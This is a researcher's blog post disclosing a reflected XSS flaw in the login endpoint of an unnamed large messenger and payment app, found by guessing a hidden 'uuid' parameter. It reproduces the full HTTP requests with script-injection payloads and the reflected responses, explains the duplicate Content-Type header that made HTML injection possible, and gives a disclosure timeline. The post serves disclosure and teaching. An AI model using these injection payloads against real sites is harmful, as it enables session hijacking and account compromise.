XSS in Large Messenger and Payment App - a Shout Out to Parameter Guessing

This is a post about a Cross-Site-Scripting (XSS) vulnerability that was identified within the web version of a large Chinese messenger and payment platform. The vulnerability could have been missed easily, as the vulnerable parameter was manually guessed.

Discovery

Recently, I was researching in the context of login flows, when I stumbled over the following interesting request and response:

GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https%3A%2F%2Fweb.redacted.com%2Fcgi-bin%2Fmmwebwx-bin%2Fwebwxnewloginpage&fun=new&lang=en_GB&_=1617048847643 HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 64

window.QRLogin.code = 200; window.QRLogin.uuid = "Ia1oZupJlg==";

Without thinking too much, I went ahead and fiddled around with the present GET parameters.

As using the present parameters nothing too interesting was observed, I had a closer look at the actual response. What if it was possible to modify the values that are assigned to window.QRLogin.code or window.QRLogin.uuid? Appending a uuid parameter yielded quite surprising results! The value of this parameter was indeed reflected within the response of the application, Bingo!

At first I chose to inject arbitrary JavaScript as the response obviously holds JavaScript code. The following approach did work straightaway:

GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https%3A%2F%2Fweb.redacted.com%2Fcgi-bin%2Fmmwebwx-bin%2Fwebwxnewloginpage&fun=new&lang=en_GB&_=1617048184077&uuid=test123%22%3b%20alert(1)%3b%20var%20a%20%3d%20%22 HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 61

window.QRLogin.code = 200; window.QRLogin.uuid = "test123"; alert(1); var a = "";

But this would most likely not leads to anything useful, as to perform a XSS attack with this behavior, a victim site would have to embed the script with a malicious GET parameter.

Did you notice that there are two Content-Type headers present within the application’s response? As the latter header uses the text/html MIME type, what would happen if we inject HTML instead of JavaScript?

The next test I performed was the following:

GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https%3A%2F%2Fweb.redacted.com%2Fcgi-bin%2Fmmwebwx-bin%2Fwebwxnewloginpage&fun=new&lang=en_GB&_=1617048184077&uuid=%22<script>alert(document.domain)</script> HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 92

window.QRLogin.code = 200; window.QRLogin.uuid = ""<script>alert(document.domain)</script>";

Or in short: Link.

And if this website is then browsed using a current Chrome, the injected JavaScript is executed: redacted rXSS

Recommendation

For mitigating this issue, it was recommended to sanitize and/or encode user controlled contents in a context-aware manner. Apparently, the uuid should be independently chosen by the application, therefore, it should be ignored if a uuid parameter is present within the request.

Tooling: Param Miner

Even though I was lucky to guess a valid hidden parameter, there are tools out there that automate this. One famous Burp Suite extension for this is the Param Miner by James Kettle.

After reporting the issue to the vendor, I was wondering whether the Param Miner might have found the hidden parameter, too. A quick search within the GitHub Repo leads to the following entry in Param Miner’s word list: https://github.com/PortSwigger/param-miner/blob/master/resources/params#L1379.
As the uuid parameter is in the word list, the Param Miner would have found this issue, too.

Responsible Disclosure

  • 2021-03-30: Initial report to vendor via Security Response Center.
  • 2021-03-31: The vulnerability is confirmed by vendor.
  • 2021-04-02: The applied patch is confirmed to fix the vulnerability.

References



Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter or LinkedIn. 🙂

You can directly tweet about this post using this link. 🤓